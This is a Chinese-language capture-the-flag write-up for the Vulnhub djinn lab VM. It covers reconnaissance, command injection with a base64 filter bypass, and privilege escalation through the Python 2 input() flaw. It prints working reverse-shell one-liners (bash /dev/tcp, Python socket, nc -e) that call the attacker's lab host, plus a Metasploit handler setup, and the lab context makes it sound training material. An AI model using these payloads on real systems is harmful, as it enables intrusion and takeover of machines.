从Vulbhub-djinn靶机学习命令注入和Python input() 漏洞

2019-12-16 15:10:48 浏览数 (1)

靶机地址:

代码语言:javascript复制
https://www.vulnhub.com/entry/djinn-1,397/

难度:中等

靶机发布日期:2019年11月18日

靶机描述:Level: Beginner-Intermediate flags: user.txt and root.txt Description: The machine is VirtualBox as well asVMWare compatible. The DHCP will assign an IPautomatically. You'll see the IP right on the loginscreen. You have to find and read two flags (user androot) which is present in user.txt and root.txtrespectively. Format: Virtual Machine (Virtualbox - OVA) Operating System: Linux

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:want2live233@gmail.com

工具、知识点和漏洞

  • nmap
  • burpsuite
  • gobuster
  • uncompyle2
  • 命令注入
  • Python input() 漏洞

0x00、信息收集

靶机IP:192.168.56.109

代码语言:javascript复制
nmap -sn 192.168.56.0/24

端口和服务

代码语言:javascript复制
nmap -sS -sV -T5 -A -p- 192.168.0.109

ftp命令大全详解

代码语言:javascript复制
http://imhuchao.com/323.html

匿名账户登录ftp下载并查看三个txt,得到一组用户名密码、提示1337端口有个游戏以及一个可能是用户名的nitish81299

1337端口跑的是个啥呢?先开始用浏览器访问了一下,连接被重置了。随后telnet访问了一下

从图中可以看出,是做一些加减乘除的运算,还必须得做完1000次,貌似需要我们写个脚本,所以先放一放~

nmap扫描之后发现7331端口跑的是HTTP服务,所以对它进行页面、目录枚举

代码语言:javascript复制
gobuster dir -u http://192.168.56.109:7331/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip
代码语言:javascript复制

枚举结果

  • /wish (Status: 200)
  • /genie (Status: 200)

访问http://192.168.56.109:7331/wish,输入了id,提交之后执行了id命令。所以这里存在系统命令命令注入

0x01、getshell

ifconfig命令查看kali的IP为192.168.56.104

msfconsole做好接收反弹的shell的准备

代码语言:javascript复制
msfconsole
use exploit/multi/handler
set payload cmd/unix/reverse_bash
set lhost 192.168.56.104
set lport 1234
exploit
代码语言:javascript复制
代码语言:javascript复制
nc -e /bin/bash 192.168.56.104 1234

反弹shell,结果提示:Wrong choice of words

为方便测试我们使用burpsuite进行bypass测试。

  • Github:
代码语言:javascript复制
https://github.com/swisskyrepo/PayloadsAllTheThings
  • 先知社区:
代码语言:javascript复制
https://xz.aliyun.com/t/3918

命令注入的过滤一般是对一些特定字符或者关键字进行过滤

代码语言:javascript复制
cmd=ls --> 可执行 cmd=ls -lah --> 可执行 => 说明空格没有被过滤
cmd=whoami --> 无法执行 cmd=whoami --> 可执行 => 说明过滤了某些关键字
cmd=uname -a --> 可执行 发现靶机是Ubuntu系统,所以后续reverse shell的时候不打算使用nc了
cmd=echo whoami --> 可执行

echo可以被执行,那就试试base64编码吧。编码

代码语言:javascript复制
bash -i >& /dev/tcp/192.168.56.104/1234 0>&1

或者编码

代码语言:javascript复制
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.104",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

可以看到编码python版本的reverse shell有效

尝试bash reverse shell

编码cat /etc/passwd,尝试读取文件内容

代码语言:javascript复制
 cmd=echo Y2F0IC9ldGMvcGFzc3dk | base64 -d

结果:

代码语言:javascript复制
http://192.168.56.101:7331/genie?name=cat /etc/passwd
代码语言:javascript复制
cmd=echo Y2F0IC9ldGMvcGFzc3dk | base64 -d| bash

结果:成功读取内容

代码语言:javascript复制
cmd=echo YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvMTIzNCAwPiYx | base64 -d| bash

结果:

代码语言:javascript复制
http://192.168.56.109:7331/genie?name=,

没有反弹shell。

按理来应该是能够反弹shell的,可是为啥没有反弹呢?随后我直接到网页上执行了相同的命令,结果就成功反弹shell了。

之后猜测可能是burpsuite环境与浏览器环境之间存在url编码差异的原因,于是我对整个payload进行了url encode,然后在burpsuite上执行,reverse shell成功

之后群里有个表哥告诉我,说只需要对空格加号进行url编码,而不需要对整个payload进行编码

代码语言:javascript复制
cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvMTIzNCAwPiYx | base64 -d| bash

下面是对空格和加号进行url编码之后再url解码的截图,可以看到解码之后payload并没有改变。

获取shell之后要做的第一件事是使用Python获取一个tty,不然有些命令是无法执行的,这一步很关键。

代码语言:javascript复制
python -c 'import pty; pty.spawn("/bin/bash")' # 有些没有安装Python2,所以需要换成python3 -c
代码语言:javascript复制
如果你想使用clear清屏,那么只需要给TERM这个环境变量赋值screen即可
代码语言:javascript复制
export TERM=screen # 赋值xterm也可以

0x02、权限提升

--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py、LinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

代码语言:javascript复制
python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

代码语言:javascript复制
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

代码语言:javascript复制
python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------

获取user的flag

读取/etc/passwd发现有两个用户samnitish

/home/nitish目录下发现user.txt,但是www-data无权限读取;sam的用户目录也无权限查看。于是我返回到/opt/80目录,这里可能有一些线索。

读取app.py的内容,在里面发现了过滤cmd的实现方法以及一个可能是线索的文件/home/nitish/.dev/creds.txt

在这个文件里面我们发现了nitish用户的密码:nitish:p4ssw0rdStr3r0n9,随后切换至该用户并获得该用户的flag

获取root的flag

查找sudo权限命令

代码语言:javascript复制
sudo -l

之后查看了一下使用说明,发现可以通过这个可执行文件得到一个shell,那么现在的问题就是应该输入什么样的参数才能获得sam用户的shell?

随后使用strings命令简单看了一下这个可执行文件,但好像也没有什么特别明确的东西。

再用man /usr/bin/genie查看一下使用帮助

man是manual的缩写,man命令用来提供在线帮助,通过man命令可以查看Linux中的命令帮助、配置文件帮助、编程帮助等信息。

genie可以完成你所有的愿望,甚至可以提升你的权限。

我执行了sudo -u sam /usr/bin/genie -p "/bin/sh",然而并没有得到sam的shell。随后执行了sudo -u sam /usr/bin/genie -cmd whoami得到了sam权限。

再次执行sudo -l,得到如下结果:

执行sudo /root/lago之后,大兄弟表示很是懵~

随后尝试读取两个用户的.bash_history,结果都是没有权限……开啥玩笑呢

之后我用find / -writable -type f 2>/dev/null查找了一下可写文件,结果发现了一个/home/sam/.pyc,虽然之前也看到过,但那时候并没有引起我的注意,接着读取了一下文件的内容。

从上图看其实有点懵,我把主要的东西粘贴出来,你再看看。

Working on it!! Choose a number between 1 to 100: sEnter your number: Better Luck next time Enter the full of the file to read: s!User %s is not allowed to read What do you want to do ? Be naughty Guess the number Read some damn file Enter your choice: work your ass off!!

这些话你之前是不是都看到过?对,就是在/root/lago这个可执行文件里面看到过。也就是说/root/lago的源码是Python,你看/home/sam/.pyc里面也有这样的描述/home/mzfr/scripts/exp.py

pyc是一种二进制文件,是由Python文件经过编译后所生成的文件,它是一种byte code,Python文件变成pyc文件后,加载的速度有所提高,而且pyc还是一种跨平台的字节码,由Python的虚拟机来执行的,就类似于Java或者.NET的虚拟机的概念。pyc的内容与Python的版本是相关的,不同版本编译后的pyc文件是不同的,例如2.5版本编译的是pyc文件,而2.4版本编译的Python是无法执行的

所以能不能把.pyc反编译成.py?先把这个文件传到本地

随后我们用uncompyle2反编译.pyc

这个需要自己到Github下载

有了源码就好办了,虽然对Python语言自身的漏洞没什么了解,但毕竟可以搜索嘛。读了一下源码,发现可供利用的也只有guessit()这个方法了。

代码语言:javascript复制
def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'
代码语言:javascript复制

先在某度进行了一番搜索之后,没有找到想要的东西。之后用Google搜索python input() vulnerability,找到这篇文章:vulnerability-input-function-python-2-x

代码语言:javascript复制
https://www.geeksforgeeks.org/vulnerability-input-function-python-2-x/

强烈建议你看一下

我把关键地方截了个图

根据这个漏洞,结合上面的代码,我们只需要输入num,就可以得到root权限的shell了

新的一个月,祝各位早日迎娶白富美。哈哈哈

0 人点赞